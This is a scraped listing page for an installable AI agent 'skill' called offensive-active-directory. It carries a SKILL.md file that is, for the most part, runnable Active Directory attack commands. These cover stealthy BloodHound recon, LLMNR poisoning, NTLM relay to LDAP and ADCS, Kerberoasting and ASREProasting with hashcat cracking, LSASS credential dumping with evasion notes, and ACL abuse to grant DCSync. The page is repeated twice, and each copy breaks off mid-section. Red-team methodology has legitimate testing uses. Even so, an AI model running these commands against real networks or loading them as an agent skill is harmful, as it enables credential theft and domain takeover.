offensive-active-directory

Name: offensive-active-directory
Author: SnailSploit

41installs447forks

How to install offensive-active-directory?

snailsploit/claude-red/offensive-active-directory

$npx -y skills add SnailSploit/Claude-Red --skill offensive-active-directory

Installs into the current project.

Summary

Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained

Files · 1

View on GitHub

SKILL.md

1	# Active Directory — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
6	2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
7	3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
8	4. Execute path with lowest detection cost, validate at each hop
9	5. Establish persistence and document every action with timestamps
10
11	---
12
13	## Reconnaissance
14
15	### BloodHound Collection
16
17	```powershell
18	# SharpHound (CSharp collector) — most stealthy with throttling
19	SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
20
21	# Stealth collection (DC-only, avoids workstation noise)
22	SharpHound.exe -c DCOnly --Stealth
23
24	# Bloodhound.py from Linux (no Windows host needed)
25	bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
26	```
27
28	### PowerView (No Tool Drop)
29
30	```powershell
31	# Domain enumeration without binaries
32	$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
33	Get-DomainUser -SPN \| Select samaccountname,serviceprincipalname
34	Get-DomainComputer -Unconstrained
35	Get-DomainGPO \| ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
36	Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs \|
37	?{$_.ActiveDirectoryRights -match 'WriteDacl\|GenericAll\|WriteOwner'}
38	```
39
40	### ADExplorer Offline
41
42	```
43	# Take snapshot from any low-priv user, analyze offline
44	ADExplorer.exe → File → Create Snapshot
45	# Convert to BloodHound format
46	ADExplorerSnapshot.py snapshot.dat -o output/
47	```
48
49	---
50
51	## Credential Harvesting
52
53	### LLMNR / NBT-NS / mDNS Poisoning
54
55	```bash
56	# Capture NetNTLMv2 hashes from broadcast resolution
57	responder -I eth0 -wrf
58
59	# Inveigh (Windows-side, when you have a foothold)
60	Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
61	```
62
63	Crack with hashcat mode 5600. If cracking fails, relay instead.
64
65	### NTLM Relay
66
67	```bash
68	# Identify relay targets (no SMB signing, LDAP signing not required)
69	nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
70
71	# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
72	impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
73	--escalate-user attacker --delegate-access
74
75	# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
76	impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
77	--adcs --template DomainController
78	```
79
80	### Kerberoasting
81
82	```powershell
83	# Request TGS for all SPN-bearing accounts
84	Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
85	# AES-only accounts (harder to crack but worth attempting)
86	Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
87	```
88
89	```bash
90	# Cross-platform from Linux
91	impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
92	hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
93	```
94
95	### ASREProasting
96
97	```bash
98	# Find users with DONT_REQUIRE_PREAUTH set
99	impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
100	hashcat -m 18200 asrep.txt rockyou.txt
101	```
102
103	### LSASS / SAM Dumping
104
105	```cmd
106	:: Modern, AV-friendly: comsvcs.dll minidump
107	rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
108
109	:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
110
111	:: nanodump (handle duplication, no MiniDumpWriteDump)
112	nanodump.exe --pid <PID> -w lsass.dmp --valid
113	```
114
115	Parse with Mimikatz or pypykatz offline:
116
117	```bash
118	pypykatz lsa minidump lsass.dmp
119	```
120
121	---
122
123	## Privilege Escalation Within AD
124
125	### ACL Abuse
126
127	\| Right \| Abuse \|
128	\|-------\|-------\|
129	\| `GenericAll` / `GenericWrite` \| Add SPN → Kerberoast; reset password; add member \|
130	\| `WriteDacl` \| Grant yourself DCSync rights, then DCSync \|
131	\| `WriteOwner` \| Take ownership → grant rights → exploit \|
132	\| `AllExtendedRights` (User) \| Force password change \|
133	\| `AllExtendedRights` (Domain) \| DCSync \|
134	\| `AddMember` \| Add self to privileged group \|
135	\| `WriteSPN` \| Set SPN, kerberoast target \|
136
137	```powershell
138	# Targeted Kerberoast (write SPN, roast, remove SPN)
139	Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
140	Rubeus.exe kerberoast /user:victim
141	Set-DomainObject -Identity victim -Clear serviceprincipalname
142
143	# Grant DCSync via WriteDacl
144	Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
145	-PrincipalIdentity attacker -Rights DCSync
146	```
147
148	### Kerberos Delegation
149
150	```powershell
151	# F

People who liked this also viewed

6 picks

Type

offensive-active-directory

41installs447forks

View on GitHub

How to install offensive-active-directory?

snailsploit/claude-red/offensive-active-directory

$npx -y skills add SnailSploit/Claude-Red --skill offensive-active-directory

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
6	2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
7	3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
8	4. Execute path with lowest detection cost, validate at each hop
9	5. Establish persistence and document every action with timestamps
10
11	---
12
13	## Reconnaissance
14
15	### BloodHound Collection
16
17	```powershell
18	# SharpHound (CSharp collector) — most stealthy with throttling
19	SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
20
21	# Stealth collection (DC-only, avoids workstation noise)
22	SharpHound.exe -c DCOnly --Stealth
23
24	# Bloodhound.py from Linux (no Windows host needed)
25	bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
26	```
27
28	### PowerView (No Tool Drop)
29
30	```powershell
31	# Domain enumeration without binaries
32	$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
33	Get-DomainUser -SPN \| Select samaccountname,serviceprincipalname
34	Get-DomainComputer -Unconstrained
35	Get-DomainGPO \| ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
36	Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs \|
37	?{$_.ActiveDirectoryRights -match 'WriteDacl\|GenericAll\|WriteOwner'}
38	```
39
40	### ADExplorer Offline
41
42	```
43	# Take snapshot from any low-priv user, analyze offline
44	ADExplorer.exe → File → Create Snapshot
45	# Convert to BloodHound format
46	ADExplorerSnapshot.py snapshot.dat -o output/
47	```
48
49	---
50
51	## Credential Harvesting
52
53	### LLMNR / NBT-NS / mDNS Poisoning
54
55	```bash
56	# Capture NetNTLMv2 hashes from broadcast resolution
57	responder -I eth0 -wrf
58
59	# Inveigh (Windows-side, when you have a foothold)
60	Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
61	```
62
63	Crack with hashcat mode 5600. If cracking fails, relay instead.
64
65	### NTLM Relay
66
67	```bash
68	# Identify relay targets (no SMB signing, LDAP signing not required)
69	nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
70
71	# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
72	impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
73	--escalate-user attacker --delegate-access
74
75	# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
76	impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
77	--adcs --template DomainController
78	```
79
80	### Kerberoasting
81
82	```powershell
83	# Request TGS for all SPN-bearing accounts
84	Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
85	# AES-only accounts (harder to crack but worth attempting)
86	Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
87	```
88
89	```bash
90	# Cross-platform from Linux
91	impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
92	hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
93	```
94
95	### ASREProasting
96
97	```bash
98	# Find users with DONT_REQUIRE_PREAUTH set
99	impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
100	hashcat -m 18200 asrep.txt rockyou.txt
101	```
102
103	### LSASS / SAM Dumping
104
105	```cmd
106	:: Modern, AV-friendly: comsvcs.dll minidump
107	rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
108
109	:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
110
111	:: nanodump (handle duplication, no MiniDumpWriteDump)
112	nanodump.exe --pid <PID> -w lsass.dmp --valid
113	```
114
115	Parse with Mimikatz or pypykatz offline:
116
117	```bash
118	pypykatz lsa minidump lsass.dmp
119	```
120
121	---
122
123	## Privilege Escalation Within AD
124
125	### ACL Abuse
126
127	\| Right \| Abuse \|
128	\|-------\|-------\|
129	\| `GenericAll` / `GenericWrite` \| Add SPN → Kerberoast; reset password; add member \|
130	\| `WriteDacl` \| Grant yourself DCSync rights, then DCSync \|
131	\| `WriteOwner` \| Take ownership → grant rights → exploit \|
132	\| `AllExtendedRights` (User) \| Force password change \|
133	\| `AllExtendedRights` (Domain) \| DCSync \|
134	\| `AddMember` \| Add self to privileged group \|
135	\| `WriteSPN` \| Set SPN, kerberoast target \|
136
137	```powershell
138	# Targeted Kerberoast (write SPN, roast, remove SPN)
139	Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
140	Rubeus.exe kerberoast /user:victim
141	Set-DomainObject -Identity victim -Clear serviceprincipalname
142
143	# Grant DCSync via WriteDacl
144	Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
145	-PrincipalIdentity attacker -Rights DCSync
146	```
147
148	### Kerberos Delegation
149
150	```powershell
151	# F

People who liked this also viewed

6 picks

Type